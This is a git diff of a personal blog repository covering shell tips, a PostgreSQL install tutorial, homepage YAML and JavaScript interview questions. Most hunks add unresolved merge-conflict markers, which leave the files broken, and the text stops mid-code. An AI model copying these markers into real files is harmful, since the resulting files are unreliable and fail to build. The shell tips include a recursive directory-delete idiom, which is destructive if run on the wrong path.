@@ -233,7 +253,11 @@ mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 
 -   To convert text encodings, try `iconv`. Or `uconv` for more advanced use; it supports some advanced Unicode things. For example:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       # Displays hex codes or actual names of characters (useful for debugging):
       uconv -f utf-8 -t utf-8 -x '::Any-Hex;' < input.txt
       uconv -f utf-8 -t utf-8 -x '::Any-Name;' < input.txt
@@ -251,7 +275,11 @@ mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 
 -   Use `getfacl` and `setfacl` to save and restore file permissions. For example:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
    getfacl -R /some/path > permissions.txt
    setfacl --restore=permissions.txt
 ```
@@ -307,7 +335,11 @@ A few examples of piecing together commands:
 
 -   It is remarkably helpful sometimes that you can do set intersection, union, and difference of text files via `sort`/`uniq`. Suppose `a` and `b` are text files that are already uniqued. This is fast, and works on files of arbitrary size, up to many gigabytes. (Sort is not limited by memory, though you may need to use the `-T` option if `/tmp` is on a small root partition.) See also the note about `LC_ALL` above and `sort`'s `-u` option (left out for clarity below).
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       sort a b | uniq > c   # c is a union b
       sort a b | uniq -d > c   # c is a intersect b
       sort a b b | uniq -u > c   # c is set difference a - b
@@ -323,19 +355,31 @@ A few examples of piecing together commands:
 -
 -   Summing all numbers in the third column of a text file (this is probably 3X faster and 3X less code than equivalent Python):
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       awk '{ x += $3 } END { print x }' myfile
 ```
 
 -   To see sizes/dates on a tree of files, this is like a recursive `ls -l` but is easier to read than `ls -lR`:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       find . -type f -ls
 ```
 
 -   Say you have a text file, like a web server log, and a certain value that appears on some lines, such as an `acct_id` parameter that is present in the URL. If you want a tally of how many requests for each `acct_id`:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       egrep -o 'acct_id=[0-9]+' access.log | cut -d= -f2 | sort | uniq -c | sort -rn
 ```
 
@@ -343,7 +387,11 @@ A few examples of piecing together commands:
 -
 -   Run this function to get a random tip from this document (parses Markdown and extracts an item):
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       function taocl() {
         curl -s https://raw.githubusercontent.com/jlevy/the-art-of-command-line/master/README.md |
           sed '/cowsay[.]png/d' |
diff --git a/src/pages/docs/tutorials/psql-setup.md b/src/pages/docs/tutorials/psql-setup.md
index 0f8b4ee448..6e5dac20dd 100644
--- a/src/pages/docs/tutorials/psql-setup.md
+++ b/src/pages/docs/tutorials/psql-setup.md
@@ -3,11 +3,11 @@ title: PostgreSQL Setup
 weight: 0
 excerpt: PostgreSQL Setup
 seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-    type: stackbit_page_meta
+  title: ""
+  description: ""
+  robots: []
+  extra: []
+  type: stackbit_page_meta
 template: docs
 ---
 
@@ -49,10 +49,10 @@ Open <a href="https://www.enterprisedb.com/downloads/postgres-postgresql-downloa
 
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*wi4EbaVo-mamG_tH.png" class="graf-image" /></figure>Once that installer downloads, run it. You need to go through the normal steps of installing software.
 
--   <span id="a223">Yes, Windows, let the installer make changes to _my_ device.</span>
--   <span id="d4d0">Thanks for the welcome. Next.</span>
--   <span id="1283">Yeah, that's a good place to install it. Next.</span>
--   <span id="79cc">I don't want that pgAdmin nor the Stack Builder things. Uncheck. Uncheck. Next.</span>
+- <span id="a223">Yes, Windows, let the installer make changes to _my_ device.</span>
+- <span id="d4d0">Thanks for the welcome. Next.</span>
+- <span id="1283">Yeah, that's a good place to install it. Next.</span>
+- <span id="79cc">I don't want that pgAdmin nor the Stack Builder things. Uncheck. Uncheck. Next.</span>
 
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*PSDmTsaD37MgFJ-A.png" class="graf-image" /></figure>- <span id="e09d">Also, great looking directory. Thanks. Next.</span>
 
@@ -60,9 +60,9 @@ Open <a href="https://www.enterprisedb.com/downloads/postgres-postgresql-downloa
 
 ### I REALLY CANNOT STRESS THE ABOVE POINT ENOUGH… Experience is a great teacher but in this case … it's not worth it.
 
--   <span id="25b7">Sure. 5432. Good to go. Next.</span>
--   <span id="28be">Not even sure what that means. Default! Next.</span>
--   <span id="b378">Yep. Looks good. Next.</span>
+- <span id="25b7">Sure. 5432. Good to go. Next.</span>
+- <span id="28be">Not even sure what that means. Default! Next.</span>
+- <span id="b378">Yep. Looks good. Next.</span>
 
 Insert pop culture reference to pass the time
 
diff --git a/src/pages/index.md b/src/pages/index.md
index 8ae418c88c..6761415520 100644
--- a/src/pages/index.md
+++ b/src/pages/index.md
@@ -1,6 +1,7 @@
 ---
 title: Web Dev Hub Home
 sections:
+<<<<<<< HEAD
   - section_id: Intro
     type: section_hero
     title: 'I am a musician, electrical engineer & web developer'
@@ -123,6 +124,239 @@ sections:
           - label: Learn More
             url: 'https://www.allaboutthejersey.com/'
             style: secondary
+=======
+    - section_id: Intro
+      type: section_hero
+      title: 'I am a musician, electrical engineer & web developer'
+      image: images/dtw-slideshow.gif
+      content: "\n\n**Please note that this website is in development and is often broken!**\n\n[](https://www.vagrantup.com/)[![gmail](https://img.icons8.com/color/96/000000/gmail.png)](mailto:bryan.guner@gmail.com)[![linkedin](https://img.icons8.com/color/96/000000/linkedin.png)](https://www.linkedin.com/in/bryan-guner-046199128/)[![](https://img.icons8.com/color/96/000000/instagram-new.png)](https://www.instagram.com/bgoonz/?hl=en)[![](https://img.icons8.com/color/96/000000/pinterest--v1.png)](https://www.pinterest.com/bryanguner/\\_saved/)\n\n[](https://webpack.js.org/)[\_](https://www.adobe.com/products/xd.html)\n\n[![NetlifyStatus](https://api.netlify.com/api/v1/badges/a1b7ee1a-11a7-4bd2-a341-2260656e216f/deploy-status)](https://app.netlify.com/sites/bgoonz-blog/deploys)\n\n[![Bryansgithubactivitygraph](https://activity-graph.herokuapp.com/graph?username=bgoonz\\&custom_title=This%20is%20Bryans%20Activity\\&hide_border=true\\&theme=chartreuse-dark)](https://github.com/bgoonz/github-readme-activity-graph)\n\n![Jokes](https://readme-jokes.vercel.app/api)\n\n![Python](https://img.shields.io/badge/-Python-05122A?style=flat\\&logo=python)![HTML](https://img.shields.io/badge/-HTML-05122A?style=flat\\&logo=HTML5)![CSS](https://img.shields.io/badge/-CSS-05122A?style=flat\\&logo=CSS3\\&logoColor=1572B6)![JavaScript](https://img.shields.io/badge/-JavaScript-05122A?style=flat\\&logo=javascript)![React](https://img.shields.io/badge/-React-05122A?style=flat\\&logo=react)![Node.js](https://img.shields.io/badge/-Node.js-05122A?style=flat\\&logo=node.js)\n\n![VisualStudioCode](https://img.shields.io/badge/-Visual%20Studio%20Code-05122A?style=flat\\&logo=visual-studio-code\\&logoColor=007ACC)![Docker](https://img.shields.io/badge/-Docker-05122A?style=flat\\&logo=Docker)![MongoDB](https://img.shields.io/badge/-MongoDB-05122A?style=flat\\&logo=mongodb)![PostgreSQL](https://img.shields.io/badge/-PostgreSQL-05122A?style=flat\\&logo=postgresql)\n\n![Git](https://img.shields.io/badge/-Git-05122A?style=flat\\&logo=git)![GitHub](https://img.shields.io/badge/-GitHub-05122A?style=flat\\&logo=github)![GitLab](https://img.shields.io/badge/-GitLab-05122A?style=flat\\&logo=gitlab)\n\n![Markdown](https://img.shields.io/badge/-Markdown-05122A?style=flat\\&logo=markdown)"
+      actions:
+          - label: Contact
+            url: 'https://sidebar-blog.netlify.app/contact/'
+            style: secondary
+            icon_class: linkedin
+            new_window: true
+            no_follow: false
+            type: action
+    - section_id: features
+      type: section_grid
+      col_number: three
+      grid_items:
+          - content: |
+                Memoization, Tabulation, and Sorting Algorithms by Example
+                Why is looking at runtime not a reliable method of calculating time
+                complexity?
+            actions:
+                - label: View Post
+                  url: /docs/ds-algo/big-o/
+                  style: secondary
+            title: A Quick Guide To Big O
+            image: images/bigo.jpg
+            title_url: >-
+                https://bgoonz-blog.netlify.app/docs/ds-algo/big-o/
+          - content: |
+                *Python has a built in help function that let's you see a description
+                of the source code without having to navigate to it… "-SickNasty …
+                Autor Unknown"  .*
+            actions:
+                - label: View Posts
+                  url: >-
+                      https://bgoonz-blog.netlify.app/docs/python/python-ds
+                  style: secondary
+            image_alt: python
+            title: Python Guide
+            title_url: 'https://bgoonz-blog.netlify.app/docs/python/python-ds'
+            image: images/python-language.jpg
+          - content: |
+            actions:
+                - label: Learn More
+                  url: /docs/tools
+                  style: secondary
+            title: Guitar Effects Triggering w DTW
+            title_url: 'https://github.com/bgoonz/Revamped-Automatic-Guitar-Effect-Triggering'
+            image: images/dtw-algo.jpg
+          - title_url: 'https://bgoonz-blog.netlify.app/docs/react/react2/'
+            image_alt: img of dtw
+            content: |
+                As I learn to build web applications in React I will blog about it in
+                this series in an attempt to capture the questions that a complete
+                beginner might encounter that a more seasoned developer would take for
+                granted!
+            actions: []
+            type: grid_item
+            title: Beginner Guide React
+            image: images/react.gif
+          - title_url: 'https://dev.to/bgoonz/scope-and-context-in-javascript-5cma'
+            image_alt: img of react
+            content: "Scope & Context in JS\n\nThe\_**scope**\_of a program in JavaScript is the set of variables that are available for use within the program. \n"
+            actions: []
+            type: grid_item
+            image: images/pleasant-birch.png
+            title: Scope & Closure
+          - image_alt: scope and closure
+            content: |
+                PostgreSQL Cheat Sheet, Everything You Need to View Post With VSCode
+                + Extensions & Resources, Super Simple Intro To HTML,  Understanding
+                Git... etc....
+            actions: []
+            type: grid_item
+            title: Web Audio Daw
+            image: images/dtw-slideshow.gif
+    - title: Current Interests
+      section_id: interests
+      subtitle: From github repositories to existential questions.
+      col_number: three
+      grid_items:
+          - title: Angolia
+            title_url: angolia
+            image_alt: angolia
+            content: |
+                ## Full Text Search
+                [Full Text Search](https://www.algolia.com/)
+                ## &#xA;
+            actions: []
+            type: grid_item
+            image: images/algolia.png
+          - title: Convolutional Neural Networks
+            title_url: neural networks
+            image_alt: neural networks
+            content: >
+                Artificial neural networks, usually simply called neural networks, are
+                computing systems vaguely inspired by the biological [neural
+                networks](https://github.com/tensorflow/tensorflow)![](/\_static/app-assets/neural.PNG)
+            actions: []
+            type: grid_item
+            image: images/neural.PNG
+          - title: Jamstack
+            title_url: jamstack
+            image_alt: jamstack
+            content: |
+                ##### Why Jamstack Jamstack is the new standard architecture for the
+                web. Using Git workflows and modern build tools, pre-rendered content
+                is served to a CDN and made dynamic through APIs and serverless
+                functions. Technologies in the stack include JavaScript frameworks,
+                Static Site Generators, Headless CMSs, and CDNs.
+            actions: []
+            type: grid_item
+            image: images/jamstack.png
+          - title: Asynchronous JavaScript
+            title_url: /docs/
+            image_alt: event loop
+            content: "The term\_**asynchronous**\_refers to\_two or more objects or events\_**not**\_existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete).\_In computing, the word \"asynchronous\" is used in two major contexts.\n\n"
+            actions:
+                - label: Learn More
+                  url: 'https://www.allaboutthejersey.com/'
+                  style: secondary
+                  icon_class: dev
+                  new_window: false
+                  no_follow: false
+            type: grid_item
+            image: images/eventloop.gif
+          - title: NJ Devils
+            image_alt: nj-devils
+            content: "# New Jersey Devils Hockey Team\n\n### (Hockey in general)\n\n## Team identity\n\n[![](https://upload.wikimedia.org/wikipedia/en/thumb/d/da/OldDevils.png/300px-OldDevils.png)](https://en.wikipedia.org/wiki/File:OldDevils.png)\n\nThe old green style jerseys used from 1982 to 1992The jerseys used from 1992 to 2017[Sean Avery](https://en.wikipedia.org/wiki/Sean_Avery)\_of the\_[New York Rangers](https://en.wikipedia.org/wiki/New_York_Rangers)\_attempts to distract Brodeur during the\_[2008 Stanley Cup playoffs](https://en.wikipedia.org/wiki/2008\\_Stanley_Cup_playoffs). The playoff series was the fifth to feature the\_[Devils-Rangers rivalry](https://en.wikipedia.org/wiki/Devils%E2%80%93Rangers_rivalry).\n"
+            actions:
+                - label: Learn More
+                  url: 'https://www.iter.org/'
+                  style: secondary
+                  icon_class: dev
+                  new_window: false
+                  no_follow: false
+            type: grid_item
+            image: images/njdev-219301cd.jpg
+            title_url: 'https://www.allaboutthejersey.com/'
+          - title: ITER Fusion Reactor Experiment (Southern France)
+            title_url: >-
+                https://www.iter.org/
+            image_alt: ITER Reactor
+            content: |
+                # Break Even Nuclear Fusion Candidate
+                In December, researchers at the Joint European Torus (JET) started
+                conducting fusion experiments with tritium — a rare and radioactive
+                isotope of hydrogen. The facility is a one-tenth-volume mock-up of the
+                US$22-billion ITER project and has the same doughnut-shaped 'tokamak'
+                design — the world's most developed approach to fusion energy. It is
+                the first time since 1997 that researchers have done experiments in a
+                tokamak with any significant amount of tritium.
+            actions: []
+            type: grid_item
+            image: images/iter.jpg
+      type: section_grid
+    - section_id: features-two-col
+      type: section_grid
+      title: Resume & Portfolio
+      col_number: two
+      grid_items:
+          - title: Resume
+            actions:
+                - label: View In One Drive
+                  url: 'https://1drv.ms/b/s!AkGiZ9n9CRDSpLsZsnPtiN7p77vq6A'
+                  style: secondary
+                - label: Web Version
+                  url: '#'
+                  style: link
+                  icon_class: dev
+                  new_window: false
+                  no_follow: false
+                - label: Download PDF
+                  url: >-
+                      https://github.com/bgoonz/bgoonz/raw/master/bryan_guner_resume_2021_V9.pdf
+                  style: secondary
+                  icon_class: dev
+                  new_window: false
+                  no_follow: false
+                  type: action
+            image: images/image-of-resume.png
+            title_url: >-
+                https://github.com/bgoonz/resume-cv-portfolio-samples/raw/master/2021-resume/bryan-guner-resume-2021.pdf
+          - title: Showcase
+            content: |
+                ![My Projects](/\_static/app-assets/lambda-demo1.gif)My Projects!
+            actions:
+                - label: Learn More
+                  url: /showcase
+                  style: secondary
+            image_alt: portfolio of websites
+            image: images/portfolio.jpg
+    - title: Blog-Archive-And-Mini-Projects
+      section_id: Mini Projects
+      image_alt: showcase
+      image_position: left
+      content: >-
+      actions: []
+      type: section_content
+    - title: Latest & Greatest
+      section_id: new content
+      image_alt: animated gif
+      image_position: right
+      content: |
+          ## Web Dev Utilitiy Tools
+          <iframe class="block-content" width="100%  width="1200px!important"
+          height="1000px!important"
+            src="https://web-dev-utility-tools-bgoonz.netlify.app/"
+            clipboard-write;
+            encrypted-media; gyroscope; ></iframe>
+          <iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts"  src="https://random-static-html-deploys.netlify.app" class="block-content" width="100%  width="1200px!important" height="1000px!important" ></iframe>
+      actions: []
+      type: section_content
+      image: images/cool annimation.gif
+    - section_id: tools
+      image_alt: tools
+      image_position: left
+      content: |
+          <iframe class="block-content" width="100%  width="1200px!important"  height="1000px!important" src="https://bgoonz.github.io/BGOONZ_BLOG_2.0/" ></iframe>
+          <iframe class="block-content" width="100%  width="1200px!important" height="1000px!important"  src="https://cheatsheets-42.netlify.app/" ></iframe>
+      actions: []
+      type: section_content
+      title: Tools Showcase
+    - section_id: Web Audio DAW
+      image_alt: medium
+      image_position: left
+      actions:
+          - label: Go To Web Audio Daw
+            url: 'https://mihirbegmusiclab.netlify.app/'
+            style: primary
+>>>>>>> master
             icon_class: dev
             new_window: false
             no_follow: false
diff --git a/src/pages/interview-questions-js.md b/src/pages/interview-questions-js.md
index 8c22865e0f..e86a6ccc9b 100644
--- a/src/pages/interview-questions-js.md
+++ b/src/pages/interview-questions-js.md
@@ -1798,6 +1798,7 @@ Cons
      2. Imperative
      3. You might face one-by-off errors
 
+<<<<<<< HEAD
 131. How do you display the current date in javascript
 
      You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
@@ -6119,12 +6120,4366 @@ Cons
      console.log(false ?? true); // false
      console.log(undefined ?? true); // true
      ```
+=======
+131.    How do you display the current date in javascript
+
+        You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+
+        ```javascript
+        var today = new Date();
+        var dd = String(today.getDate()).padStart(2, '0');
+        var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
+        var yyyy = today.getFullYear();
+
+        today = mm + '/' + dd + '/' + yyyy;
+        document.write(today);
+        ```
+
+132.    How do you compare two date objects
+
+        You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+
+        ```javascript
+        var d1 = new Date();
+        var d2 = new Date(d1);
+        console.log(d1.getTime() === d2.getTime()); //True
+        console.log(d1 === d2); // False
+        ```
+
+133.    How do you check if a string starts with another string
+
+        You can use ECMAScript 6's `String.prototype.startsWith()` method to check if a string starts with another string or not. But it is not yet supported in all browsers. Let's see an example to see this usage,
+
+        ```javascript
+        'Good morning'.startsWith('Good'); // true
+        'Good morning'.startsWith('morning'); // false
+        ```
+
+134.    How do you trim a string in javascript
+
+        JavaScript provided a trim method on string types to trim any whitespaces present at the beginning or ending of the string.
+
+        ```javascript
+        '  Hello World   '.trim(); //Hello World
+        ```
+
+        If your browser(<IE9) doesn't support this method then you can use below polyfill.
+
+        ```javascript
+        if (!String.prototype.trim) {
+            (function () {
+                // Make sure we trim BOM and NBSP
+                var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+                String.prototype.trim = function () {
+                    return this.replace(rtrim, '');
+                };
+            })();
+        }
+        ```
+
+135.    How do you add a key value pair in javascript
+
+        There are two possible solutions to add new properties to an object. Let's take a simple object to explain these solutions.
+
+        ```javascript
+        var object = {
+            key1: value1,
+            key2: value2
+        };
+        ```
+
+        1. **Using dot notation:** This solution is useful when you know the name of the property
+
+        ```javascript
+        object.key3 = 'value3';
+        ```
+
+        1. **Using square bracket notation:** This solution is useful when the name of the property is dynamically determined.
+
+        ```javascript
+        obj['key3'] = 'value3';
+        ```
+
+136.    Is the !-- notation represents a special operator
+
+        No,that's not a special operator. But it is a combination of 2 standard operators one after the other,
+
+        1. A logical not (!)
+        2. A prefix decrement (--)
+
+        At first, the value decremented by one and then tested to see if it is equal to zero or not for determining the truthy/falsy value.
+
+137.    How do you assign default values to variables
+
+        You can use the logical or operator `||` in an assignment expression to provide a default value. The syntax looks like as below,
+
+        ```javascript
+        var a = b || c;
+        ```
+
+        As per the above expression, variable 'a 'will get the value of 'c' only if 'b' is falsy (if is null, false, undefined, 0, empty string, or NaN), otherwise 'a' will get the value of 'b'.
+
+138.    How do you define multiline strings
+
+        You can define multiline string literals using the '\\' character followed by line terminator.
+
+        ```javascript
+        var str =
+            'This is a \
+        very lengthy \
+        sentence!';
+        ```
+
+        But if you have a space after the '\\' character, the code will look exactly the same, but it will raise a SyntaxError.
+
+139.    What is an app shell model
+
+        An application shell (or app shell) architecture is one way to build a Progressive Web App that reliably and instantly loads on your users' screens, similar to what you see in native applications. It is useful for getting some initial HTML to the screen fast without a network.
+
+140.    Can we define properties for functions
+
+        Yes, We can define properties for functions because functions are also objects.
+
+        ```javascript
+        fn = function (x) {
+            //Function code goes here
+        };
+
+        fn.name = 'John';
+
+        fn.profile = function (y) {
+            //Profile code goes here
+        };
+        ```
+
+141.    What is the way to find the number of parameters expected by a function
+
+        You can use `function.length` syntax to find the number of parameters expected by a function. Let's take an example of `sum` function to calculate the sum of numbers,
+
+        ```javascript
+        function sum(num1, num2, num3, num4) {
+            return num1 + num2 + num3 + num4;
+        }
+        sum.length; // 4 is the number of parameters expected.
+        ```
+
+142.    What is a polyfill
+
+        A polyfill is a piece of JS code used to provide modern functionality on older browsers that do not natively support it. For example, Silverlight plugin polyfill can be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7.
+
+143.    What are break and continue statements
+
+        The break statement is used to "jump out" of a loop. i.e, It breaks the loop and continues executing the code after the loop.
+
+        ```javascript
+        for (i = 0; i < 10; i++) {
+            if (i === 5) {
+                break;
+            }
+            text += 'Number: ' + i + '<br>';
+        }
+        ```
+
+        The continue statement is used to "jump over" one iteration in the loop. i.e, It breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.
+
+        ```javascript
+        for (i = 0; i < 10; i++) {
+            if (i === 5) {
+                continue;
+            }
+            text += 'Number: ' + i + '<br>';
+        }
+        ```
+
+144.    What are js labels
+
+        The label statement allows us to name loops and blocks in JavaScript. We can then use these labels to refer back to the code later. For example, the below code with labels avoids printing the numbers when they are same,
+
+        ```javascript
+        var i, j;
+
+        loop1: for (i = 0; i < 3; i++) {
+            loop2: for (j = 0; j < 3; j++) {
+                if (i === j) {
+                    continue loop1;
+                }
+                console.log('i = ' + i + ', j = ' + j);
+            }
+        }
+
+        // Output is:
+        //   "i = 1, j = 0"
+        //   "i = 2, j = 0"
+        //   "i = 2, j = 1"
+        ```
+
+145.    What are the benefits of keeping declarations at the top
+
+        It is recommended to keep all declarations at the top of each script or function. The benefits of doing this are,
+
+        1. Gives cleaner code
+        2. It provides a single place to look for local variables
+        3. Easy to avoid unwanted global variables
+        4. It reduces the possibility of unwanted re-declarations
+
+146.    What are the benefits of initializing variables
+
+        It is recommended to initialize variables because of the below benefits,
+
+        1. It gives cleaner code
+        2. It provides a single place to initialize variables
+        3. Avoid undefined values in the code
+
+147.    What are the recommendations to create new object
+
+        It is recommended to avoid creating new objects using `new Object()`. Instead you can initialize values based on it's type to create the objects.
+
+        1. Assign {} instead of new Object()
+        2. Assign "" instead of new String()
+        3. Assign 0 instead of new Number()
+        4. Assign false instead of new Boolean()
+        5. Assign [] instead of new Array()
+        6. Assign /()/ instead of new RegExp()
+        7. Assign function (){} instead of new Function()
+
+        You can define them as an example,
+
+        ```javascript
+        var v1 = {};
+        var v2 = '';
+        var v3 = 0;
+        var v4 = false;
+        var v5 = [];
+        var v6 = /()/;
+        var v7 = function () {};
+        ```
+
+148.    How do you define JSON arrays
+
+        JSON arrays are written inside square brackets and arrays contain javascript objects. For example, the JSON array of users would be as below,
+
+        ```javascript
+        "users":[
+          {"firstName":"John", "lastName":"Abrahm"},
+          {"firstName":"Anna", "lastName":"Smith"},
+          {"firstName":"Shane", "lastName":"Warn"}
+        ]
+        ```
+
+149.    How do you generate random integers
+
+        You can use Math.random() with Math.floor() to return random integers. For example, if you want generate random integers between 1 to 10, the multiplication factor should be 10,
+
+        ```javascript
+        Math.floor(Math.random() * 10) + 1; // returns a random integer from 1 to 10
+        Math.floor(Math.random() * 100) + 1; // returns a random integer from 1 to 100
+        ```
+
+        **Note:** Math.random() returns a random number between 0 (inclusive), and 1 (exclusive)
+
+150.    Can you write a random integers function to print integers with in a range
+
+        Yes, you can create a proper random function to return a random number between min and max (both included)
+
+        ```javascript
+        function randomInteger(min, max) {
+            return Math.floor(Math.random() * (max - min + 1)) + min;
+        }
+        randomInteger(1, 100); // returns a random integer from 1 to 100
+        randomInteger(1, 1000); // returns a random integer from 1 to 1000
+        ```
+
+151.    What is tree shaking
+
+        Tree shaking is a form of dead code elimination. It means that unused modules will not be included in the bundle during the build process and for that it relies on the static structure of ES2015 module syntax,( i.e. import and export). Initially this has been popularized by the ES2015 module bundler `rollup`.
+
+152.    What is the need of tree shaking
+
+        Tree Shaking can significantly reduce the code size in any application. i.e, The less code we send over the wire the more performant the application will be. For example, if we just want to create a "Hello World" Application using SPA frameworks then it will take around a few MBs, but by tree shaking it can bring down the size to just a few hundred KBs. Tree shaking is implemented in Rollup and Webpack bundlers.
+
+153.    Is it recommended to use eval
+
+        No, it allows arbitrary code to be run which causes a security problem. As we know that the eval() function is used to run text as code. In most of the cases, it should not be necessary to use it.
+
+154.    What is a Regular Expression
+
+        A regular expression is a sequence of characters that forms a search pattern. You can use this search pattern for searching data in a text. These can be used to perform all types of text search and text replace operations. Let's see the syntax format now,
+
+        ```javascript
+        /pattern/modifiers;
+        ```
+
+        For example, the regular expression or search pattern with case-insensitive username would be,
+
+        ```javascript
+        /John/i;
+        ```
+
+155.    What are the string methods available in Regular expression
+
+        Regular Expressions has two string methods: search() and replace().
+        The search() method uses an expression to search for a match, and returns the position of the match.
+
+        ```javascript
+        var msg = 'Hello John';
+        var n = msg.search(/John/i); // 6
+        ```
+
+        The replace() method is used to return a modified string where the pattern is replaced.
+
+        ```javascript
+        var msg = 'Hello John';
+        var n = msg.replace(/John/i, 'Buttler'); // Hello Buttler
+        ```
+
+156.    What are modifiers in regular expression
+
+        Modifiers can be used to perform case-insensitive and global searches. Let's list down some of the modifiers,
+
+        | Modifier | Description                                             |
+        | -------- | ------------------------------------------------------- |
+        | i        | Perform case-insensitive matching                       |
+        | g        | Perform a global match rather than stops at first match |
+        | m        | Perform multiline matching                              |
+
+        Let's take an example of global modifier,
+
+        ```javascript
+        var text = 'Learn JS one by one';
+        var pattern = /one/g;
+        var result = text.match(pattern); // one,one
+        ```
+
+157.    What are regular expression patterns
+
+        Regular Expressions provide a group of patterns in order to match characters. Basically they are categorized into 3 types,
+
+        1. **Brackets:** These are used to find a range of characters.
+           For example, below are some use cases,
+            1. [abc]: Used to find any of the characters between the brackets(a,b,c)
+            2. [0-9]: Used to find any of the digits between the brackets
+            3. (a|b): Used to find any of the alternatives separated with |
+        2. **Metacharacters:** These are characters with a special meaning
+           For example, below are some use cases,
+            1. \\d: Used to find a digit
+            2. \\s: Used to find a whitespace character
+            3. \\b: Used to find a match at the beginning or ending of a word
+        3. **Quantifiers:** These are useful to define quantities
+           For example, below are some use cases,
+            1. n+: Used to find matches for any string that contains at least one n
+            2. n\*: Used to find matches for any string that contains zero or more occurrences of n
+            3. n?: Used to find matches for any string that contains zero or one occurrences of n
+
+158.    What is a RegExp object
+
+        RegExp object is a regular expression object with predefined properties and methods. Let's see the simple usage of RegExp object,
+
+        ```javascript
+        var regexp = new RegExp('\\w+');
+        console.log(regexp);
+        // expected output: /\w+/
+        ```
+
+159.    How do you search a string for a pattern
+
+        You can use the test() method of regular expression in order to search a string for a pattern, and return true or false depending on the result.
+
+        ```javascript
+        var pattern = /you/;
+        console.log(pattern.test('How are you?')); //true
+        ```
+
+160.    What is the purpose of exec method
+
+        The purpose of exec method is similar to test method but it executes a search for a match in a specified string and returns a result array, or null instead of returning true/false.
+
+        ```javascript
+        var pattern = /you/;
+        console.log(pattern.exec('How are you?')); //["you", index: 8, input: "How are you?", groups: undefined]
+        ```
+
+161.    How do you change the style of a HTML element
+
+        You can change inline style or classname of a HTML element using javascript
+
+        1. **Using style property:** You can modify inline style using style property
+
+        ```javascript
+        document.getElementById('title').style.fontSize = '30px';
+        ```
+
+        1. **Using ClassName property:** It is easy to modify element class using className property
+
+        ```javascript
+        document.getElementById('title').className = 'custom-title';
+        ```
+
+162.    What would be the result of 1+2+'3'
+
+        The output is going to be `33`. Since `1` and `2` are numeric values, the result of the first two digits is going to be a numeric value `3`. The next digit is a string type value because of that the addition of numeric value `3` and string type value `3` is just going to be a concatenation value `33`.
+
+163.    What is a debugger statement
+
+        The debugger statement invokes any available debugging functionality, such as setting a breakpoint. If no debugging functionality is available, this statement has no effect.
+        For example, in the below function a debugger statement has been inserted. So
+        execution is paused at the debugger statement just like a breakpoint in the script source.
+
+        ```javascript
+        function getProfile() {
+            // code goes here
+            debugger;
+            // code goes here
+        }
+        ```
+
+164.    What is the purpose of breakpoints in debugging
+
+        You can set breakpoints in the javascript code once the debugger statement is executed and the debugger window pops up. At each breakpoint, javascript will stop executing, and let you examine the JavaScript values. After examining values, you can resume the execution of code using the play button.
+
+165.    Can I use reserved words as identifiers
+
+        No, you cannot use the reserved words as variables, labels, object or function names. Let's see one simple example,
+
+        ```javascript
+        var else = "hello"; // Uncaught SyntaxError: Unexpected token else
+        ```
+
+166.    How do you detect a mobile browser
+
+        You can use regex which returns a true or false value depending on whether or not the user is browsing with a mobile.
+
+        ```javascript
+        window.mobilecheck = function () {
+            var mobileCheck = false;
+            (function (a) {
+                if (
+                    /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(
+                        a
+                    ) ||
